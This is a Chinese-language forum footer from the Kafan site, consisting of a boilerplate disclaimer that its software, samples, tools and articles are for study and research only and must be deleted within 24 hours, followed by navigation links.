卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表